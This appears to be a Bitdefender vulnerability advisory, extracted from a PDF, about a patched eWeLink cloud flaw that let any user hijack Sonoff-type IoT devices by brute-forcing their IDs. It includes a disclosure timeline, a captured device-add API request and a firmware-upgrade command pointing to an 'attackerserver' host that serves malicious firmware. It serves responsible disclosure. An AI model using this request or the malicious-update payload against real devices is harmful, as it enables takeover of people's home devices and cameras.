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Vulnerabilities at a
glance

A cloud-based vulnerability allows a remote user to take
over any device by guessing or brute-forcing its unique ID.

Disclosure timeline

Oct 10, 2019: Bitdefender reaches out to the vendor
and asks for a PGP key

Oct 22, 2019: Bitdefender receives no answer and
attempts a second contact

Nov 18, 2019: A third request for contact is made
Nov 19, 2019: Vulnerable vendor requests information

Nov 20, 2019: Details are shared privately with the
vendor

Nov 21, 2019: Vulnerability confirmed, patch
scheduled for next week

Dec 04, 2019: A fix becomes available and is delivered
to affected users

Nov 24, 2020: Bitdefender releases information to the
public


https://www.bitdefender.com/iot/
https://www.bitdefender.com/iot/
https://www.coolkit.cn/
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Vulnerability walkthrough

Cloud-device communication

eWelink is a platform-as-a-service that provides developers the infrastructure needed to manage remote control/
connection between their devices and the users. To handle connected devices, they are given a unique ID on the
platform. We presume that individual developers set their own pattern for the unique ID.

When the user registers a new device with their account, the smartphone app will make an API request containing,
among other parameters, the unique device ID. The server checks if the “authorization” token obtained at login is valid
and processes the request. However, it will not check if the device is already registered to another account. Instead, it
will get assigned to the new account, and the original user will lose control. Therefore, we can simply make the request
as a valid user, specifying a known device ID, and the servers will give us control over that device.

Request Response
Raw | Params | Headers | Hex Raw | Headers | Hex
POST /api/user/device/add HTTP/1.1 & HTTP/1.1 200 0K
accept: application/json r Server: openresty
package-name: com.coolkit Date: Wed, 07 Aug 2019 10:54:32 GMT
cache-control: no-store Content-Type: application/json; charset=utf-8
authorization: Bearer 311bb3914cefebdcco36e5d1b521543936dcl2e Content-Length: 935
Content-Type: application/json;charset=UTF-8 Connection: close
content-Length: 305 X-Powered-By: Express
Host: us-api.coolkit.cc:8080 Access-Control-Allow-Origin: *
Connection: close Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type,
Accept-Encoding: gzip, deflate Accept,Package-Name, Authorization
User-Agent: okhttp/3.12.1 Access-Control-Allow-Methods: DELETE,GET,HEAD, POST,PUT, 0PTIONS

{"deviceid":"10008299bc
devices8209bc”, "version
uSXUth’:ﬂ-fﬂuthﬂuqu” "
5_hanmerhead", "romversion

ikey":"5581c29a-93e4-48be-89d7-c28a7e62dbad", "name” : "My
"1565174795"," *, "appid":"oeVkj21YFGn] “deviceid":"10008299bc", "apikey": "27b422a0-255¢-43eb-bece-82
"5c80b990208706885bbblccd”, "apikey" : "5581c29a-93e4-48be-89d7
N, "expiredAt”:"2024-03-05T06:26:24.3162" , "deviceid" : "100082
"descript: 20190386003, "brandI 735f5f906d9751d4f109629
"do:27:01:05:30:c8", "u1": "[UiBEEE" , "modelInfo" : "5
818644784a742680200085b" , "model” : "PSF-BO4-GL", " RN PREKCRE T EES
"}, "createdAt":"2019-03-07T06:26:24.316Z", ,"_id":"5d4aade886ac0741e4dad
13¢", "settings":{"opsNotify psHistory”:1,"alarmiotify" xAlarmNotify":0, "wx0OpsN
otify":0,"wxDoorbellNotify": online":false, "createdAt":"
2019-08-07T10:54:32.2512", "gro! cen vdeviceurl®:"", "brandName”:"New Smart
", "productModel”: "G4", "uiid":4}

H 403cf28f1445", "05" : "An,
6.8.1","appVersion”:"3.9.0"}

Note: the other parameters in the request are hardcoded or depend on the smartphone’s variables (e.g. IMEI, model).

Impact

After gaining control of the device, we can access any functionality it has to offer. One

interesting part (regarding the devices we verified) is their update process. Those devices don't check for new firmware
updates on their own. Instead, the smartphone app queries the servers for new updates, gets the update details
(version, checksum, download URL), and sends those details to the device. This means we control every aspect of

the update process, giving us the chance to send malicious updates, served from a server we control (through the
download URL parameter).

{"action":"upgrade", "apikey":"bbd9cd7f-ab3a-4ae2-ae22-01fbsbh56ef1lb", "devicerd":"100074e021", "userAgent": "app","
sequence":"1569325245976", "params": {"model": "PSF-BA1-GL","version":"3.3.0","binList": [{"downloadUrl": "http://at
tackerserver:80/userl.1024.new.2.bin","digest":"b7be369aec8498e6cld646a8cas5daff515f41b9b248361407355807a0aebded
3", "name":"userl.bin"},{"downloadurl":"http://attackerserver:80/user2.1024.new.2.bin","digest": "aePaaabe74a38cc
3b8696bf25a641ee36c51dd4e9ee7lbazcf056414431ab158", "name" : "user2.bin"}1}, "timeout": 300000}

Affected devices

The eWeLink platform is used by multiple manufacturers, as listed in the screenshots from

their App Store and Google Play Store pages.
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Even though some notable brands are on the list, we were unable to source any of their devices for additional testing.
In fact, Sonoff, which is also highlighted, is the only brand available. We believe other implementations are popular in
China, while Sonoff covers the western markets.

Sonoff devices developed by ITEAD use a five-byte value for their unique ID. Out of those five bytes, the first two are
used to define the device type, while the last three represent a random number. Those devices are simple, low-power,
internet-connected relays, such as smart outlets, bulb holders, and wall switches. We tested several devices in each
category, and all were using the same unique ID pattern, which makes them easier to brute-force.

Beside the ITEAD devices, we discovered another category of affected devices. CoolKit also develops a smartphone
app, eWeLink Camera, which “turns old Android phones into a smart IP camera.” These use the same ID format
and are also subject to this bug. However, an attacker can only view the AV feed and has no way to send a
malicious update.

Market impact

According to the Google Play Store (App Store does not offer this information), the eWeLink Camera has “10,000+"
installs. This means the number of installs is between 10,000 and 50,000. This app is installed only on the old Android
phones, meaning that one install equals one phone turned into an “IP camera” and vulnerable to this bug.

Regarding the eWeLink app used to control the devices, the Google Play Store shows that it was downloaded
“1,000,000+" times. This means the actual number can be anywhere between 1 million and 5 million downloads. The
app website says it has 12 million registered users, with 5 million active users and 8 million devices added.

As the app seems to cover multiple devices from various manufacturers, we are unable to estimate the exact number
of devices affected. However, as Sonoff devices are the only popular ones on the Western market and Google Play
Store isn't available on the Chinese market, the 1,000,000+ installs seem like a good indicator.

Note: the devices on the Chinese market may also be affected, but we couldn’t confirm it.


https://www.itead.cc/
https://www.ewelink.cc/en/
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